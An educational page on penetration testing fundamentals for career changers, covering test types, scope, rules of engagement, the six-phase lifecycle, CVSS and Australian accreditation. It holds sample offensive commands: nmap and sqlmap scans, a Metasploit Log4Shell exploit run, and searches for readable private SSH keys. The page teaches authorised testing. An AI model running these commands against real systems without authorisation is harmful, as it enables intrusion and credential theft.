Penetration Testing Fundamentals — Types, Scope, and Rules of Engagement

What Is Penetration Testing and Why Does It Matter?

NIST SP 800-115 (Technical Guide to Information Security Testing and Assessment) defines penetration testing as a method where assessors simulate real-world attacks to identify exploitable vulnerabilities that automated scanning alone cannot detect. The Penetration Testing Execution Standard (PTES) provides the industry-standard lifecycle framework for professional engagements.

Penetration testing is an authorised, simulated cyberattack against a computer system, network, or application — performed to evaluate the security posture and find exploitable vulnerabilities before real attackers do. Unlike vulnerability scanning, which identifies potential weaknesses automatically, penetration testing goes further: a tester actively attempts to exploit those weaknesses, chaining them together to demonstrate real-world impact.

For career changers, pen testing is the discipline that transforms defensive knowledge into offensive understanding. Knowing how attackers think is what separates an effective security professional from someone who only reads alert logs.

The first time I read a real penetration test report, I was both terrified and fascinated. Terrified because the tester had gone from a phishing email to domain administrator in under four hours. Fascinated because every step was methodical, documented, and — critically — authorised. That is the line between a criminal and a pen tester: written permission and a structured process. Understanding that boundary is where my study of offensive security began.

Certification objectives: CompTIA Security+ SY0-701 covers pen testing concepts (Domain 4.1), CompTIA PenTest+ PT0-002 is entirely dedicated to penetration testing methodology, and OSCP validates hands-on exploitation skills.

What Do Real-World Penetration Tests Look Like?

PCI DSS v4.0 mandates annual penetration testing for all organisations that handle payment card data, and NIST SP 800-115 requires federal agencies to include penetration testing as part of their security assessment programmes.

Organisations commission penetration tests because theoretical security is not the same as tested security. A firewall might be correctly configured on paper but misconfigured in practice. A web application might pass automated scans but fall to a creative attacker who chains low-severity findings into critical access.

Scenario	Why a pen test was needed	What the pen test found	Impact
Financial services firm — annual compliance requirement	PCI DSS mandates annual pen tests for organisations handling card data	Default credentials on an internal database server accessible from the DMZ	Credit card data at risk; finding triggered emergency patching before the next audit
Healthcare provider — post-migration assessment	Migrated to cloud infrastructure and needed assurance the new environment was secure	S3 bucket misconfiguration exposing patient records, plus an unpatched VPN appliance	Regulatory breach avoided; two critical findings remediated within 48 hours
E-commerce startup — pre-launch security check	Wanted to ensure the platform was secure before accepting customer payments	SQL injection in the search function, allowing full database extraction	Launch delayed by two weeks; vulnerability fixed before any customer data was at risk
Government agency — red team exercise	IRAP assessment required demonstration of resilience against targeted attacks	Phishing email to a staff member led to internal network access within 90 minutes	IR playbooks rewritten; mandatory phishing awareness training rolled out
Managed services provider — client assurance	Clients demanded evidence that the MSP’s infrastructure was secure	Weak segmentation between client environments; one compromised tenant could reach others	Architecture redesigned to enforce strict network segmentation
University — research data protection	Needed to protect sensitive research IP and student data	Exposed administrative panel with default credentials on a forgotten development server	Server decommissioned; asset management procedures updated

How Does Penetration Testing Work?

OSSTMM (Open Source Security Testing Methodology Manual) defines penetration testing as the process of validating the operational security of a system by actively attempting to circumvent its protections — distinguishing it from passive vulnerability assessment.

The Analogy: Security Audit as a Fire Drill

Think of a penetration test like a fire drill conducted by a professional arsonist — but one who has signed a contract promising not to burn the building down. The organisation knows the drill is happening (or at least someone does), the “arsonist” uses real techniques to find real escape routes and weak points, and the report afterward tells you exactly which fire doors were unlocked, which alarms did not trigger, and which evacuation routes were blocked.

The key difference from a regular security audit: a pen tester does not just say “this door is unlocked.” They walk through it, go upstairs, open the safe, and take a photograph of what is inside — proving the impact, not just the possibility.

Pen Test Types

Type	Tester knowledge	Simulates	Best for
Black box	No prior knowledge of the target (like an external attacker)	External threat actor with no inside information	Testing perimeter defences and detection capabilities
White box	Full knowledge — source code, architecture diagrams, credentials	Insider threat or advanced attacker with stolen documentation	Thorough code-level and architecture review; finding deep logic flaws
Grey box	Partial knowledge — some credentials, network diagrams, limited documentation	Compromised employee account or partner with limited access	Realistic simulation of post-initial-compromise scenarios

Most real-world engagements are grey box. Pure black box is expensive and time-consuming because the tester spends significant effort on reconnaissance that could be skipped with basic documentation. Pure white box is thorough but may not reflect a realistic attack scenario.

Scope and Rules of Engagement

Every penetration test begins with a written agreement that defines exactly what the tester is and is not allowed to do.

Scope defines the boundaries:

In-scope targets: IP ranges, domains, applications, physical locations
Out-of-scope targets: Production databases, specific servers, third-party systems
Time windows: Testing hours (business hours only, after hours, weekends)
Excluded techniques: No denial-of-service, no social engineering of executives, no physical intrusion

Rules of engagement (RoE) define the conduct:

Emergency contact procedures (who to call if something breaks)
Data handling requirements (how sensitive data found during testing is stored and destroyed)
Communication protocols (daily status reports, immediate notification for critical findings)
“Get-out-of-jail” letter — a signed document from an authorised executive confirming the tester has permission to perform the activities described in the scope

Legal warning: Penetration testing without written authorisation is a criminal offence. In Australia, the Criminal Code Act 1995 (Part 10.7) covers unauthorised access. In the US, the Computer Fraud and Abuse Act (CFAA) applies. In the UK, the Computer Misuse Act 1990. The get-out-of-jail letter does not make you immune from prosecution if you exceed the agreed scope. Stay within boundaries.

Team Roles

Team	Role	Goal
Red team	Offensive — simulates real attackers	Find and exploit vulnerabilities, test detection capabilities
Blue team	Defensive — SOC analysts, IR teams	Detect, respond to, and contain attacks
Purple team	Collaborative — red and blue working together	Improve detection by sharing red team techniques in real time
White team	Oversight — manages the exercise	Ensures rules of engagement are followed, mediates disputes

Step-by-Step: The Pen Test Lifecycle

A penetration test follows a structured lifecycle. Skipping phases leads to missed findings, scope creep, or legal trouble.

Phase 1: Planning and Scoping

Define objectives. What is the client trying to learn? Compliance validation, security posture assessment, or testing specific controls?
Agree on scope. Document in-scope and out-of-scope targets, testing windows, and excluded techniques.
Sign legal agreements. Statement of Work (SoW), Non-Disclosure Agreement (NDA), and rules of engagement with the get-out-of-jail letter.
Establish communication channels. Set up secure communication for daily check-ins and emergency notifications.

Phase 2: Reconnaissance

Passive reconnaissance. Gather information without touching the target — OSINT, DNS records, WHOIS lookups, LinkedIn profiles, job postings (which reveal technology stacks), public code repositories.
Active reconnaissance. Directly interact with the target — port scanning, service enumeration, web application crawling. This is where tools like Nmap and Shodan come in.

Phase 3: Scanning and Enumeration

Vulnerability scanning. Use automated scanners (Nessus, OpenVAS, Nikto) to identify known vulnerabilities across the target environment.
Service enumeration. Identify specific software versions, configurations, and potential attack surfaces on each discovered service.

Phase 4: Exploitation

Attempt exploitation. Use identified vulnerabilities to gain access. This might involve exploiting a web application flaw, using default credentials, leveraging a known CVE, or chaining multiple low-severity findings.
Document every step. Record the exact commands used, timestamps, screenshots, and evidence of access. Reproducibility is essential.

Phase 5: Post-Exploitation

Assess the impact. What can the attacker do from this position? Access sensitive data? Move laterally to other systems? Escalate privileges to domain administrator?
Attempt privilege escalation. Can a low-privilege foothold become administrative access?
Attempt lateral movement. Can one compromised system lead to access across the network?
Maintain access (if in scope). Some engagements include persistence testing — can the tester maintain access even if the initial entry point is patched?

Phase 6: Reporting

Write the executive summary. Non-technical overview for leadership — what was tested, what was found, what is the overall risk level.
Write technical findings. Each finding includes: description, severity rating (CVSS), affected systems, evidence (screenshots, command output), remediation steps, and references.
Conduct the debrief. Walk the client through findings, answer questions, and discuss remediation priorities.

CVSS Scoring Basics

The Common Vulnerability Scoring System (CVSS v3.1) provides a standardised way to rate vulnerability severity.

CVSS score	Severity	Example
9.0 – 10.0	Critical	Remote code execution without authentication
7.0 – 8.9	High	SQL injection allowing database extraction
4.0 – 6.9	Medium	Cross-site scripting (XSS) requiring user interaction
0.1 – 3.9	Low	Information disclosure of non-sensitive server headers

CVSS scores consider the attack vector (network vs local), complexity, privileges required, user interaction needed, and impact on confidentiality, integrity, and availability. As a pen tester, you assign CVSS scores to every finding in your report so the client can prioritise remediation.

How Does Penetration Testing Fit Into a Security Architecture?

NIST SP 800-115 positions penetration testing within a broader security assessment programme that includes vulnerability scanning, configuration review, and social engineering — each serving a complementary role in evaluating an organisation’s security posture.

The Pen Test Lifecycle

Penetration Testing Lifecycle

Six phases from planning to reporting — each phase builds on the previous

Planning & Scoping

Phase 1

Define objectives

Agree on scope

Sign legal agreements

Establish comms

Reconnaissance

Phase 2

Passive OSINT

Active scanning

Target profiling

Scanning & Enumeration

Phase 3

Vulnerability scanning

Service enumeration

Attack surface mapping

Exploitation

Phase 4

Exploit vulnerabilities

Gain initial access

Document evidence

Post-Exploitation

Phase 5

Privilege escalation

Lateral movement

Impact assessment

Reporting

Phase 6

Executive summary

Technical findings

Remediation guidance

Idle

Black Box vs White Box Testing

Black Box vs White Box Penetration Testing

Black Box

No prior knowledge — Tester starts with zero information about the target
Simulates external attacker — Realistic outside-in threat scenario
Time-intensive recon — Significant effort spent on discovery phase
Tests detection — Blue team may not know testing is occurring

White Box

Full knowledge provided — Source code, architecture diagrams, credentials
Simulates insider or advanced threat — Attacker with stolen documentation
Deeper coverage — More time spent on exploitation, less on recon
Code-level findings — Identifies logic flaws invisible to scanners

Verdict: Black box tests perimeter defences realistically. White box finds deeper flaws faster. Grey box (partial knowledge) is the most common real-world engagement type.

Use case

Choose black box for compliance-driven perimeter tests. Choose white box for thorough security assessments of critical applications.

What Does Penetration Testing Look Like in Practice?

The CompTIA PenTest+ PT0-002 exam objectives define the practical skills candidates must demonstrate, including reconnaissance, vulnerability scanning, exploitation, and reporting using industry-standard tools.

Reconnaissance Commands

# Passive — WHOIS lookup for domain registration details
whois example.com

# Passive — DNS enumeration to find subdomains
dig example.com ANY
host -t mx example.com
host -t ns example.com

# Active — Nmap scan for open ports and service versions
nmap -sV -sC -oN scan_results.txt 192.168.1.0/24

# Active — Nmap scan with OS detection (requires root)
sudo nmap -O -sV --top-ports 1000 192.168.1.100

Web Application Testing

# Directory brute-forcing with Gobuster
gobuster dir -u http://target.example.com -w /usr/share/wordlists/dirb/common.txt -o dirs.txt

# Nikto web server vulnerability scanner
nikto -h http://target.example.com -output nikto_results.txt

# Check for SQL injection with sqlmap (only on authorised targets)
sqlmap -u "http://target.example.com/search?q=test" --batch --dbs

Exploitation Framework

# Metasploit — search for exploits targeting a specific CVE
msfconsole
msf6 > search CVE-2021-44228
msf6 > use exploit/multi/http/log4shell_header_injection
msf6 > set RHOSTS 192.168.1.100
msf6 > set LHOST 192.168.1.50
msf6 > run

Post-Exploitation: Privilege Escalation Checks

# Linux — check for SUID binaries (potential priv esc vectors)
find / -perm -4000 -type f 2>/dev/null

# Linux — check sudo permissions
sudo -l

# Linux — search for sensitive files readable by current user
find / -name "*.conf" -readable 2>/dev/null | head -20
find / -name "id_rsa" -readable 2>/dev/null

# Windows PowerShell — check current user privileges
whoami /priv
whoami /groups

Legal and ethical warning: Only run these commands on systems you own or have explicit written authorisation to test. Unauthorised penetration testing is a criminal offence under the Criminal Code Act 1995 (Australia), the Computer Fraud and Abuse Act (US), and the Computer Misuse Act 1990 (UK). Practise in your home lab or on platforms like TryHackMe, Hack The Box, and PortSwigger Web Security Academy.

What Are the Limitations of Penetration Testing?

NIST SP 800-115 explicitly acknowledges that penetration testing is a point-in-time assessment that can only test the vulnerabilities present during the engagement window — it does not guarantee security against future threats.

Factor	Consideration	Common failure
Scope too narrow	Client excludes critical systems to avoid disruption	Real vulnerabilities in excluded systems remain unknown; false sense of security
Scope too broad	Tester cannot cover everything in the allocated time	Shallow testing across too many targets; critical findings missed due to time pressure
Testing window too short	Budget constraints limit engagement duration	Tester rushes through phases; reconnaissance and post-exploitation get cut first
No rules of engagement	Informal agreement instead of signed documentation	Tester inadvertently causes production outage; legal disputes over authorisation
Automated-only testing	Client expects automated scans to replace manual pen testing	Scanners miss logic flaws, chained vulnerabilities, and business-logic bypasses
Report not actionable	Findings listed without clear remediation steps or severity ratings	Client does not know where to start fixing; findings sit unaddressed for months
Findings not retested	Client patches vulnerabilities but never validates the fixes	Patches applied incorrectly; vulnerabilities persist despite “completed” remediation
Tester exceeds scope	Accidental or intentional testing of out-of-scope systems	Legal liability, damaged client relationship, potential criminal charges

What Interview Questions Should You Expect About Penetration Testing?

CompTIA Security+ SY0-701 Domain 4.1 covers penetration testing concepts including test types, scope definition, and rules of engagement — making these questions common across security interview panels.

Penetration testing concepts appear frequently in security interviews, even for defensive roles. Interviewers want to see that you understand the offensive mindset.

Q1: What is the difference between a vulnerability scan and a penetration test?

Strong answer: “A vulnerability scan is automated — it identifies known vulnerabilities by checking software versions and configurations against a database. A penetration test goes further: a human tester actively attempts to exploit those vulnerabilities, chain them together, and demonstrate real-world impact. The scan tells you a door might be unlocked. The pen test opens the door, walks inside, and shows you what an attacker could steal.”

Q2: What is a rules-of-engagement document and why is it important?

Strong answer: “The rules of engagement define exactly what the pen tester is authorised to do — which systems to test, which techniques are allowed, the testing window, emergency contacts, and data handling procedures. It protects both the tester and the client. Without it, the tester risks criminal liability for unauthorised access, and the client risks uncontrolled testing that could cause production outages.”

Q3: Explain the difference between black box, white box, and grey box testing.

Strong answer: “Black box means the tester has no prior knowledge — they simulate an external attacker discovering everything from scratch. White box gives the tester full access to source code, diagrams, and credentials — simulating an insider or an attacker who has stolen documentation. Grey box is partial knowledge — some credentials or network diagrams but not everything. Grey box is the most common in practice because it balances realism with efficient use of testing time.”

Q4: What would you include in a pen test report?

Strong answer: “An executive summary for leadership that explains the overall risk level in plain language. Then detailed technical findings, each with a description of the vulnerability, its CVSS severity score, the affected systems, evidence including screenshots and command output, step-by-step reproduction instructions, and specific remediation recommendations. The report should help both executives understand risk and engineers fix the problems.”

Q5: Why should a defensive analyst understand penetration testing?

Strong answer: “Because understanding how attackers operate makes you a better defender. If you know the common exploitation paths — phishing to initial access, privilege escalation, lateral movement — you can write better detection rules, prioritise patching more effectively, and recognise attack patterns faster during incident response. You do not need to be a pen tester, but you need to think like one.”

How Is Penetration Testing Used in Real Security Operations?

CREST (Council of Registered Ethical Security Testers) provides the international accreditation standard for pen testing professionals and firms, and is widely recognised in Australian government and enterprise procurement for security testing services.

Pen Testing in Practice

In production environments, penetration testing is not a one-off event. Mature organisations schedule regular assessments:

Annual perimeter tests — required by compliance frameworks (PCI DSS, ISO 27001, SOC 2)
Pre-release application tests — every major software release undergoes security testing before deployment
Red team exercises — extended engagements (weeks to months) that simulate advanced persistent threats
Continuous pen testing — some organisations run ongoing programs where testers have standing authorisation to find and report vulnerabilities (similar to bug bounty programs but with internal or contracted testers)

Compliance Drivers

Framework	Pen test requirement
PCI DSS v4.0	Annual external and internal pen test; retest after significant changes
ISO 27001	Technical vulnerability management (A.12.6) recommends pen testing
SOC 2	Pen tests support the Security trust service criteria
APRA CPS 234	Australian financial institutions must test information security controls, including through pen testing
SOCI Act 2018	Australian critical infrastructure entities must manage cyber risks, often validated through pen testing

Australian Context: CREST Australia and IRAP

In Australia, penetration testing for government and critical infrastructure often requires CREST-certified testers. CREST (Council of Registered Ethical Security Testers) is an international accreditation body that validates the skills of pen testing professionals and the processes of pen testing companies.

CREST Australia certifications include:

CREST Registered Penetration Tester (CRT) — foundational pen testing certification
CREST Certified Infrastructure Tester (CCT Inf) — infrastructure-focused
CREST Certified Web Application Tester (CCT App) — web application-focused

IRAP (Information Security Registered Assessors Program) is administered by the Australian Signals Directorate (ASD). IRAP assessors evaluate the security of systems that handle Australian government data. While IRAP is broader than pen testing, many IRAP assessments include penetration testing as a component.

For career changers in Australia, understanding CREST and IRAP requirements is valuable because many government and enterprise job postings reference these frameworks. Even if you are not yet certified, demonstrating awareness of these standards shows interviewers that you understand the local regulatory landscape.

The Australian Cyber Security Centre (ACSC) publishes guidance on conducting and commissioning penetration tests, including advice on selecting a qualified testing provider and defining appropriate scope.

Summary and Key Takeaways

Penetration testing is the authorised, structured process of simulating real attacks to find and demonstrate exploitable vulnerabilities before malicious actors do.

Written authorisation is non-negotiable. The get-out-of-jail letter, rules of engagement, and scope document are what separate a pen tester from a criminal. Never test without explicit written permission.
Three test types serve different purposes. Black box tests perimeter defences, white box enables deep code-level analysis, and grey box (the most common) balances realism with testing efficiency.
The pen test lifecycle has six phases: planning, reconnaissance, scanning, exploitation, post-exploitation, and reporting. Skipping phases leads to missed findings or legal trouble.
CVSS scoring standardises severity. Every finding in a pen test report gets a CVSS score so the client can prioritise remediation based on risk, not guesswork.
Reporting is where the value lives. A pen test that finds critical vulnerabilities but delivers a vague report has failed. Clear, actionable findings with remediation guidance are what clients pay for.
Compliance drives demand. PCI DSS, ISO 27001, APRA CPS 234, and SOCI Act requirements mean organisations must commission pen tests regularly, creating steady demand for testers.
Defensive analysts benefit from offensive knowledge. Understanding pen testing methodology makes you a better SOC analyst, incident responder, and security engineer.

Individual results vary. Career timelines, salary outcomes, and job availability depend on your location, experience, market conditions, and effort. The information on this page is educational, not a guarantee of employment outcomes.

Penetration Testing Methodologies for PTES, OWASP, and NIST framework details
Incident Response for what happens when a real attacker succeeds
Career Paths to see where pen testing fits in your career roadmap
Tools Overview for hands-on guides to Nmap, Wireshark, and other pen testing tools

More resources

NIST SP 800-115

Technical Guide to Information Security Testing and Assessment — the US government standard for pen testing methodology.

Visit CREST Penetration Testing Guide

CREST's guide to penetration testing procurement and methodology — widely referenced in Australian government and enterprise.

Visit OWASP Testing Guide

The comprehensive open-source guide to web application security testing — essential reading for application pen testers.

Visit

Frequently Asked Questions

What is penetration testing in cybersecurity?

Penetration testing is an authorised, simulated cyberattack performed against a computer system, network, or application to evaluate its security. A pen tester actively attempts to exploit vulnerabilities, demonstrating real-world impact and providing actionable remediation guidance. It goes beyond automated vulnerability scanning by using human creativity and chained attack techniques.

What is the difference between a vulnerability scan and a penetration test?

A vulnerability scan is an automated tool that checks for known vulnerabilities by comparing software versions and configurations against a database. A penetration test involves a human tester who actively exploits vulnerabilities, chains findings together, and demonstrates real-world impact. Scans identify potential weaknesses; pen tests prove exploitability and business impact.

What are black box, white box, and grey box penetration tests?

Black box testing gives the tester no prior knowledge, simulating an external attacker. White box testing provides full access to source code, architecture, and credentials, enabling deep analysis. Grey box testing provides partial knowledge such as some credentials or network diagrams. Grey box is the most common engagement type because it balances realism with efficient use of testing time.

What is a rules-of-engagement document?

A rules-of-engagement document defines exactly what a pen tester is authorised to do during an engagement. It specifies in-scope and out-of-scope targets, allowed techniques, testing windows, emergency contacts, data handling requirements, and communication protocols. It protects both the tester and the client from legal and operational risks.

What is a get-out-of-jail letter?

A get-out-of-jail letter is a signed document from an authorised executive confirming that the pen tester has permission to perform the activities described in the scope and rules of engagement. If the tester is questioned by security personnel, law enforcement, or IT staff during the engagement, this letter proves authorisation. It does not protect testers who exceed the agreed scope.

Is penetration testing legal?

Penetration testing is legal only when performed with explicit written authorisation from the system owner. Without authorisation, it is a criminal offence under laws including the Criminal Code Act 1995 (Australia), the Computer Fraud and Abuse Act (US), and the Computer Misuse Act 1990 (UK). Written scope, rules of engagement, and a get-out-of-jail letter are mandatory before any testing begins.

What certifications are relevant for penetration testing?

Key certifications include CompTIA PenTest+ PT0-002 (foundational), OSCP (hands-on exploitation), CEH v13 (broad ethical hacking concepts), and CREST CRT/CCT (particularly valued in Australia and the UK). CompTIA Security+ SY0-701 also covers pen testing concepts and is a common starting point for career changers.

What is CVSS and how is it used in pen testing?

CVSS (Common Vulnerability Scoring System) is a standardised framework for rating the severity of security vulnerabilities on a scale of 0 to 10. Pen testers assign CVSS scores to every finding in their report so clients can prioritise remediation. Scores consider attack vector, complexity, privileges required, user interaction, and impact on confidentiality, integrity, and availability.

Do I need to know programming to become a penetration tester?

Basic scripting skills in Python and Bash are important for automating tasks, writing custom exploits, and modifying existing tools. You do not need to be a software developer, but you should be able to read code, understand web technologies (HTML, JavaScript, SQL), and write simple scripts. These skills develop over time through practice in labs and CTF challenges.

What is the difference between red team and penetration testing?

A penetration test is a scoped assessment focused on finding vulnerabilities within defined boundaries and a set timeframe. A red team exercise is a broader, longer-term simulation of a real adversary that may use social engineering, physical intrusion, and persistent access techniques. Red teams test the organisation's overall detection and response capabilities, not just technical vulnerabilities.

Sources: NIST SP 800-115, CREST, OWASP, CompTIA PenTest+ PT0-002 objectives, Australian Criminal Code Act 1995. Last verified: March 2026.